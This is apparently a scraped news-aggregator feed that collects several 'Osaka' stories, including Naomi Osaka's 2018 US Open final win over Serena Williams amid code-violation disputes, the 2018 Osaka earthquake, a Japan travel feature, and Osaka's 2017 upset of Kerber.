Osaka shocked Serena Williams in straight sets to win the title but the main story in the match was the 3rd code violation handed to Williams which resulted in an automatic loss of game in the 2nd set. 2:30

Awkward trophy ceremony

With jeers bouncing off the arena's closed roof, both players — the champion, Osaka, and the runner-up, Williams — wiped away tears during a trophy ceremony that was awkward for everyone involved.

"I just feel like I had a lot of emotions," Osaka said, "so I had to kind of categorize what was which emotion."

Williams whispered something to Osaka and wrapped an arm around her shoulders.

"I felt, at one point, bad, because I'm crying and she's crying. You know, she just won. I'm not sure if they were happy tears or they were just sad tears, because of the moment. I felt like, `Wow, this isn't how I felt when I won my first Grand Slam.' I was like, `Wow, I definitely don't want her to feel like that,"' said Williams, who missed last year's U.S. Open because her daughter, Olympia, was born during the tournament. "Maybe it was the mom in me that was like, `Listen, we've got to pull ourselves together here.'"

Williams, right, tries to console Osaka following their match. (Al Bello/Getty Images)

This was the only the latest in a series of high-profile conflicts with match officials for Williams at Flushing Meadows. It all dates back to 2004, when an incorrect call during a quarter-final loss to Jennifer Capriati was cited as the main reason for the introduction of replay technology in tennis. Then came Williams' infamous tirade after a foot fault in the 2009 semifinals against Kim Clijsters, and a to-do over a hindrance call in the 2011 final against Sam Stosur.

"It's always something," Williams said.

Osaka is just 20, 16 years younger than Williams — and grew up idolizing the American, even asking her to pose for a selfie together at a tournament just a handful of years ago. Their age difference was the second-widest gap between women's finalists at a Slam in the professional era.

"I know that everyone was cheering for her," Osaka told the crowd, "and I'm sorry it had to end like this."

Osaka refuses to budge

What was most problematic for Williams on the scoreboard was that she was unable to keep up with a version of herself. Osaka, who happens to be coached by Williams' former hitting partner, hit more aces, 6-3. Osaka hit the match's fastest serve, 119 mph. She had fewer errors, 21-14. She saved five of six break points. And she covered the court better than Williams did.

"She made a lot of shots," Williams said. "She was so focused."

Indeed, that was what might have been most impressive. Osaka never let Williams' back-and-forth with Ramos distract her, never wavered from playing terrific tennis. The one time Osaka did get broken, to trail 3-1 in the second set, she broke back immediately, prompting Williams to smash her racket.

Mouratoglou admits trying to signal Williams

That cost her a point, because of the earlier warning for coaching. Williams' coach, Patrick Mouratoglou, acknowledged afterward that he did try to signal Williams, but didn't think she had seen him — and added that he thinks every player gets coaching during matches.

"I never had any warning in my career for coaching. Strange to do that in a Grand Slam final," Mouratoglou said. "Second, we all know that all the coaches coach at every match, all year long, from the first of January all the way to the 31st of December. We all know it."

When Ramos called both players over to explain the game penalty, which put Osaka ahead 5-3, Williams began laughing, saying: "Are you kidding me?" Then she asked to speak to tournament referee Brian Earley, who walked onto the court along with a Grand Slam supervisor. Williams told them the whole episode "is not fair," and said: "This has happened to me too many times."

"To lose a game for saying that is not fair," Williams said. "There's a lot of men out here that have said a lot of things and because they are men, that doesn't happen."

It was the second Grand Slam final defeat in a row for Williams, after Wimbledon in July. She's appeared in only seven tournaments this season since returning to the tour after having a baby during last year's U.S. Open.

Williams asked what she'll tell her daughter, Olympia, about what happened Saturday.

"I'll tell her, first of all, if she sees it, that, you know, I stood up for what I believed in. I stood up for what was right," Williams replied. "Sometimes, things in life don't happen the way we want them, but always stay gracious and stay humble. I think that's the lesson we can all learn from this."

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]]> https://briefnews.eu/naomi-osaka-stuns-serena-williams-in-controversial-u-s-open-final/feed/ 0 20-year-old Naomi Osaka defeats Serena Williams in a chaotic US Open final racked by violations https://briefnews.eu/20-year-old-naomi-osaka-defeats-serena-williams-in-a-chaotic-us-open-final-racked-by-violations/ https://briefnews.eu/20-year-old-naomi-osaka-defeats-serena-williams-in-a-chaotic-us-open-final-racked-by-violations/#respond Sun, 09 Sep 2018 01:19:33 +0000 http://briefnews.eu/20-year-old-naomi-osaka-defeats-serena-williams-in-a-chaotic-us-open-final-racked-by-violations/ naomi osaka serena williamsAssociated Press/Julio Cortez

  • Naomi Osaka won the US Open to become the first Grand Slam champion from Japan, beating Serena Williams 6-2, 6-4 after the American sparred with the umpire over violations.
  • Williams was given three code violations, the first for coaching, which Williams vehemently denied, arguing, “I don’t cheat to win. I’d rather lose.”
  • She later demanded an apology, calling the umpire a “thief” and saying, “I have never cheated in my life. I have a daughter and I stand for what’s right for her.”

Naomi Osaka won the US Open to become the first Grand Slam champion from Japan, beating Serena Williams 6-2, 6-4 after the American was penalized one game for a third code violation.

Williams was given three code violations by chair umpire Carlos Ramos, the third leading to an automatic loss of a game in the second set.

See the rest of the story at Business Insider

NOW WATCH: What it takes to be a World Cup soccer player

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SEE ALSO: Surprise 20-year-old US Open finalist Naomi Osaka on what pushed her in semifinal match: ‘I really want to play Serena’

]]> https://briefnews.eu/20-year-old-naomi-osaka-defeats-serena-williams-in-a-chaotic-us-open-final-racked-by-violations/feed/ 0 U.S. Open: Kei Nishikori, Naomi Osaka combine to make history https://briefnews.eu/u-s-open-kei-nishikori-naomi-osaka-combine-to-make-history/ https://briefnews.eu/u-s-open-kei-nishikori-naomi-osaka-combine-to-make-history/#respond Wed, 05 Sep 2018 23:12:07 +0000 http://briefnews.eu/u-s-open-kei-nishikori-naomi-osaka-combine-to-make-history/ Kei Nishikori rallied to outlast Marin Cilic on Wednesday at the U.S. Open, giving Japan a men's and women's semifinalist at the same Grand Slam for the first time in the professional era.

Nishikori won the rematch of the 2014 final with a 2-6, 6-4, 7-6 (5), 4-6, 6-4 victory in a match that lasted 4 hours, 8 minutes.

In the match before Nishikori's, Naomi Osaka moved into her first Grand Slam semifinal by routing Lesia Tsurenko 6-1, 6-1 on Wednesday in the U.S. Open quarter-finals.

Only once in the professional era that began in 1968 had Japan had a men's and women's player in the quarter-finals at the same tournament. That was at Wimbledon in 1995, and both Shuzo Matsuoka and Kimiko Date lost in that round.

The seventh-seeded Cilic won the 2014 final in straight sets for his only career major title. Nishikori said this week that he was nervous once that match began, but this one was nothing like that day.

Instead, it resembled their 2010 second-round match in Flushing Meadows, when Nishikori rallied to win in five sets in 4:59, the fifth-longest men's singles match by time in U.S. Open history.

Continues strong rebound

The No. 21 seed continued his strong season after returning from a wrist injury that forced him to miss the U.S. Open last year and will play either No. 6 seed Novak Djokovic or unseeded John Millman on Friday.

"I wish I don't go to five sets every time," Nishikori said.

Osaka had it much easier, continuing what's been a largely dominant run through the draw by winning in just 57 minutes, the third time in her five matches she didn't even have to play an hour.

The No. 20 seed moved from Japan to New York at age 3, and her deepest major run is coming at the same tournament she first visited as a child.

Naomi Osaka is the first Japanese woman to make the semifinals a Grand Slam event in 22 years. She defeated Ukraine's Lesia Tsurenko 6-1, 6-1 on Wednesday. (Jason DeCrow/Associated Press)

"Well, it definitely means a lot for me, and I always thought if I were to win a Grand Slam, the first one I'd want to win is the US Open, because I have grown up here and, like, then my grandparents can come and watch," she said. "I think it would be really cool."

She raced to a 3-0 lead in the first set and then 4-0 in the second against the shaky Tsurenko, who finished with more unforced errors than points in her first major quarter-final.

'Freaking out'

Osaka will face either 14th-seeded Madison Keys or No. 30 Carla Suarez Navarro in the first major semifinal appearance for a Japanese woman since Date reached the final four at Wimbledon in 1996.

The 20-year-old said she was nervous, claiming to be "freaking out inside" — though it certainly never showed.

"Just like my entire body was shaking, so I'm really glad I was able to play well today," she said.

She won 59 points to just 28 for the unseeded Ukrainian, who knocked off No. 2 seed Caroline Wozniacki in the second round.

Osaka had consecutive 50-minute matches earlier in the tournament, including a 6-0, 6-0 thrashing of Aliaksandra Sasnovich in the third round.

It was another hot afternoon Wednesday, with temperatures in the high-80s (30s Celsius) but feeling some 10 degrees hotter with the humidity.​

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]]> https://briefnews.eu/u-s-open-kei-nishikori-naomi-osaka-combine-to-make-history/feed/ 0 Deadly quake interrupts traffic, wrecks houses & causes blackout in Japan’s Osaka area (VIDEOS) https://briefnews.eu/deadly-quake-interrupts-traffic-wrecks-houses-causes-blackout-in-japans-osaka-area-videos/ https://briefnews.eu/deadly-quake-interrupts-traffic-wrecks-houses-causes-blackout-in-japans-osaka-area-videos/#respond Mon, 18 Jun 2018 05:23:22 +0000 http://briefnews.eu/deadly-quake-interrupts-traffic-wrecks-houses-causes-blackout-in-japans-osaka-area-videos/

As well as killing at least three people and injuring hundreds, a powerful earthquake in the Osaka region has briefly brought chaos to local transportation systems and caused substantial damage to housing and infrastructure.

The earthquake, measuring a magnitude 6.1, left a trail of destruction in its wake after striking the northern part of Osaka Prefecture during a Monday morning rush hour. At least three victims were crushed to death, including a nine-year-old girl, who died after being struck by a collapsing wall. Another man, 85, died from a falling bookshelf, while another 80-year-old passed away after being struck by part of a wall.

READ MORE: At least 3 killed, 200+ injured after 6.1 quake strikes Osaka, Japan

The jolts shattered windows, knocked over walls, and resulted in several residential building fires. The fury of nature also cracked roads and broke water pipes, flooding streets and leaving homes without water.

Gas supply to 108,000 households was cut off by Osaka Gas following the quake which also brought a halt to train traffic in the area, before operations slowly resumed hours later.

The emergency also left about 170,800 buildings without power for several hours. Production at the Mitsubishi Motors Corp. and Daihatsu Motor Co. factories in Osaka and Kyoto prefectures was also halted as a result of the quake. Scattered goods were seen on shop floors.

Prime Minister Shinzo Abe instructed the government agencies to “swiftly collect information on damage, make utmost efforts in rescuing and saving lives… (and) provide timely and appropriate information to the public.”

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]]> https://briefnews.eu/deadly-quake-interrupts-traffic-wrecks-houses-causes-blackout-in-japans-osaka-area-videos/feed/ 0 Osaka: Japan's second city is full of secrets, ancient rituals and adventure https://briefnews.eu/osaka-japans-second-city-is-full-of-secrets-ancient-rituals-and-adventure/ https://briefnews.eu/osaka-japans-second-city-is-full-of-secrets-ancient-rituals-and-adventure/#respond Sat, 10 Mar 2018 12:58:50 +0000 http://briefnews.eu/osaka-japans-second-city-is-full-of-secrets-ancient-rituals-and-adventure/

Osaka is not beautiful but its surroundings areGETTY

Osaka is not beautiful but its surroundings truly are

It’s the second time she’s told me this and it’s no more convincing but it temporarily distracts me from the fact that I’m about to get naked with a group of strange men.

It’s all about experiencing the authentic bathing ritual at “onsen”, hot spring baths which are a key draw for many in Japan’s Mie Prefecture, in the eastern part of the Kii-hanto Peninsula.

Our onsen at Hotel Kumano Club is an open-air affair. We have the place to ourselves so we bob about in the warm mineral waters while the rain gently falls. We contemplate our navels and drink in the calm.

The Kumano Club is a sprawling resort with accommodation in two-storey wooden chalets. We felt we had earned our relaxation, having spent the day tackling a five-mile section of the 43-mile ancient pilgrim path, the Kumano Kodo.

Related articles

Visiting an onsen is a wonderful relief from cityGETTY

Visiting an onsen is a wonderful relief from city life

Renewal is one of Shinto’s touchstones. It’s manifested here by each shrine, all with elaborate carvings and sloped roofs, being completely renovated every 20 years.

Jools Stone

It is only the second walk in the world to be granted Unesco status alongside Spain’s Camino de Santiago.

The Kumano Kodo links several of Japan’s most sacred spots associated with the Shinto.

Our walk from the Hongu Shrine to the Kumano Hongu Taisha, Japan’s largest Torii Gate, takes us through dense forests of tall cedar and cypress trees, past farms where monkeys are known to pilfer fruit and mossy logs are thick with shiitake mushrooms.

Centuries ago pilgrims would spend weeks trekking through mountains along the Kumano but we sacrifice virtue points by arriving on the Shimakaze Express from Osaka, a luxury train which has ferried visitors to Ise from Osaka since 2013.

No sooner have we relaxed in the plush lime green seats with massage functions, ordered a tasty bento box and eyed the array of sumptuous cakes in the buffet car than we’re gliding into Ise – Shima Station.

The Kumano Kodo trail is a Unesco siteGETTY

The Kumano Kodo pilgrimage trail is a Unesco World Heritage site

Ise is home to the Hongu Shrine, a key Shinto site framed by the classic scenography of angular Japanese maple trees and lily ponds heaving with koi carp. The scene looks like it has been lifted directly from an ink painting.

Renewal is one of Shinto’s touchstones. It’s manifested here by each shrine, all with elaborate carvings and sloped roofs, being completely renovated every 20 years.

After visiting the shrine we worship at the altar of commerce and wander along Okage Yokocho Street, gawping at all the multi-coloured morsels of unidentified fried food and somehow resisting the Snoopy giftware store.

My attempt to buy a matcha ice cream in garbled “Japan-glish” has my young server dissolving in fits of sweet-natured giggles. She issues me with a ticket for a nearby stall where a man turns a little wooden tombola wheel.

“Gully gully!”, she says excitedly, with an accompanying hand motion. I’m not sure if that means “good luck” but the gods fail to smile on me today. 

The ancient Hongu Shrine is well worth seeingGETTY

The ancient Hongu Shrine is well worth seeing

Not to worry though as the Mie Prefecture had further treats in store when we reached the ramshackle fishing village of Toba in the northern corner of the Shima Peninsula, an hour’s drive east from Ise.

Greeting us outside a humble wooden fishing shack at the Toba Diving Centre coast were a gaggle of older ladies, sporting traditional cotton aprons with red hoods.

These ladies, known as “Ama” (or fisherwomen) dive for oysters, urchins and abalones by hand, holding their breath for minutes at a time. All the divers are women, mostly 60-plus. Their most senior member is 86. They are the original sea mermaids.

Inside the spartan hut the Ama huddle over a coal griddle on the floor broiling their daily catch for us. I politely chew on a gnarly sea snail for what seems like hours, still honoured to be witnessing the surviving traditions of this remote community.

Osaka has a robust food sceneGETTY

Osaka has a robust food scene

Japan’s second biggest city, Osaka, won’t win any prizes for prettiness but the sprawling industrial hub is known for its robust food scene, economic clout and vibrant nightlife. Friday night in downtown Osaka’s Dotonbori district is a multi-sensory onslaught.

Signage is a serious business here. The 66ft neon Glico Running Man, giant moving crab and a 3D family tucking into tofu all vie for our attention.

After retiring for the night and choosing from a selection of three sets of pyjamas thoughtfully laid out on my hotel bed, the next day starts with some cultural immersion.

The 700-year-old craft of Noh Theatre is perhaps less well known in the West than Kabuki but the Yamamoto Noh Theatre in Osaka’s city centre soon provides a crash course in the lore of Noh. On entering we’re immediately asked to remove shoes and socks and don these hoof-like cotton booties called “tabi”.

We’d already been schooled on Japan’s footwear fastidiousness – “being seen in our socks is like being caught in our underwear” our guide told us – but the purpose of the booties becomes clear when we’re invited to tread the boards alongside Yamamoto’s director while he demonstrates Noh’s highly stylised movements.

Osaka Castle is a stunning attractionPH

Osaka Castle is a stunning attraction

The tabi help you slide, very slowly, towards the lip of the stage. I volunteer to be trussed up in elaborate robes and an ancient wooden mask, which gives me another Tom Cruise moment.

Spontaneous disrobing was becoming a theme of this trip. My inner Samurai duly channelled, it was time to visit Osaka Castle to get some historical context.

The original castle built by Toyotomi Hideyoshi, a warrior leader celebrated as Japan’s “second great unifier”, burnt down in 1655 and was replaced by a 19th century reproduction.It is an imposing sight, spread over eight floors and flanked by an enormous mossy moat.

I huff my way up the stairs past gaggles of excitable schoolchildren to gawp at the military costumes and inventive animated dioramas before I take in the rooftop view across the vast cityscape, bringing home the awe-inspiring scale of the city.

To escape the city hubbub we take a scenic drive south through mountains to the charming beach resort of Shirahama.

Inside a Japanese nuclear bunker

Wed, April 26, 2017

Nuclear bunkers: Seiichiro Nishimoto, CEO of Shelter Co., has installed a nuclear shelter in the basement of his house in Osaka, Japan.

A nuclear shelter in Oska, Japan

REUTERS

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A nuclear shelter in Oska, Japan

We arrive just in time to see why Sunset Bay is so aptly named. Shirahama’s another popular onsen spot so it’s not uncommon to see bathers in their yukatas, a type of lightweight kimono.

We don ours for dinner but up the ante by wearing them while we stroll around the 24-hour supermarket in a sake-sozzled haze, filling our baskets with mysterious foodstuffs to take home and enjoying the locals’ bemused smiles as we do.

THE KNOWLEDGE

JTB (0208 237 1605/japanspecialist.co.uk) offers eight nights in Japan from £2,140. Price includes return flights with Finnair from London Gatwick via Helsinki, two nights in Osaka, three at in Kumano and three at Shirahama beach and tours.

Japan tourism: japantravel.com

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]]> https://briefnews.eu/osaka-japans-second-city-is-full-of-secrets-ancient-rituals-and-adventure/feed/ 0 U.S. Open: Japan's Osaka stuns defending champ Kerber in 1st round https://briefnews.eu/u-s-open-japans-osaka-stuns-defending-champ-kerber-in-1st-round/ https://briefnews.eu/u-s-open-japans-osaka-stuns-defending-champ-kerber-in-1st-round/#respond Wed, 30 Aug 2017 01:03:44 +0000 http://briefnews.eu/u-s-open-japans-osaka-stuns-defending-champ-kerber-in-1st-round/

Angelique Kerber left the U.S. Open last year on top of women’s tennis, with a second Grand Slam title and the No. 1 ranking.

She leaves this year after one match — unsure of exactly what went wrong during a season-long slump.

The sixth-seeded German was beaten by Naomi Osaka of Japan 6-3, 6-1, the first defending women’s champion eliminated in the first round of the U.S. Open in 12 years.

Naomi Osaka upsets Angelique Kerber in first round of U.S. Open0:36

“I think, yeah, it was not my day, completely not my day today,” Kerber said.

Not her year, actually.

Kerber is also on her way out of the top 10 after losing one of the only completed matches before most of the schedule was washed out on a rainy Tuesday. Canada’s Genie Bouchard was scheduled to play Tuesday and will now play her first-round match on Wednesday morning, while Denis Shapovalov will play his second-round match later in Wednesday night.

Earlier, No. 1 seed Karolina Pliskova won her first-round match, defeating Magda Linette of Poland 6-2, 6-1.

Fellow Czech Barbora Strycova also advanced quickly to the second round. The No. 23 seed beat Misaki Doi of Japan 6-1, 6-3.

Not since Svetlana Kuznetsova lost in the first round in 2005 had the defending U.S. Open women’s champion been ousted so early.

But perhaps it wasn’t too surprising after Kerber played so poorly following her breakthrough 2016, when she also won the Australian Open and lost to Serena Williams in the Wimbledon final before ascending to No. 1 with her victory here.

This year, she fell in the first round of the French Open, that first time that had ever happened to the women’s No. 1 seed in that tournament.

She said she had been practicing well and was confident, despite some minor nagging injuries she had bothered her throughout the season.

“I’m still the same player and the same person, so I think it’s just — yeah, I think it’s just the matches and how I played last year from the beginning and how I’m struggling this year,” Kerber said.

Top seed Pliskova advances to 2nd round of U.S. Open1:02

Kerber and Osaka had the stage to themselves after play was suspended on all courts other than Arthur Ashe Stadium, which has a retractable roof that was closed midway through No. 1 Karolina Pliskova’s 6-2, 6-1 victory over Magda Linette of Poland.

Kerber then took the same court where she beat Pliskova for the title last year and took another stinging defeat.

The left-hander fell to 25-18 with no titles in 2017. She needed to make it to at least the round of 16 to stay in the top 10 and couldn’t get close. She had been in the top 10 since Oct. 5, 2015, a run that would total 101 weeks before she falls out.

Seeds falling fast

With No. 2 Simona Halep’s loss to Maria Sharapova on Monday night and seventh-seeded Johanna Konta also falling, three of the top-seven seeds on the women’s side were gone by the mid-day Tuesday — with Williams not playing because she’s pregnant.

Osaka broke for a 5-3 lead in the first set, then seized control when she broke twice in the second set to open a 4-1 cushion. She finished off the 65-minute victory when Kerber dumped a forehand into the net on match point before quickly departing for the locker room.

It was Osaka’s first victory over a top-10 opponent after she was oh-so-close to beating a top player here last year, blowing a 5-1 lead in the third set and losing to Madison Keys in the third round.

“I just want to play good,” Osaka said. “I played good today, so I want to carry that on to my next match.”

Nadal an easy winner

Rafael Nadal has improved to 13-0 in U.S. Open first-round matches by beating Serbia’s Dusan Lajovic 7-6 (6), 6-2, 6-2.

The No. 1 seed dominated after a first set that lasted more than an hour. With rain wiping out most of the day’s play, Nadal became the first man to complete a match Tuesday.

World #1 Nadal easily advances at U.S. Open1:15

With his victory, the two-time U.S. Open champion assured that Roger Federer has to reach the semifinals for a chance to regain the No. 1 ranking.

Federer was to play later Tuesday against American Frances Tiafoe.

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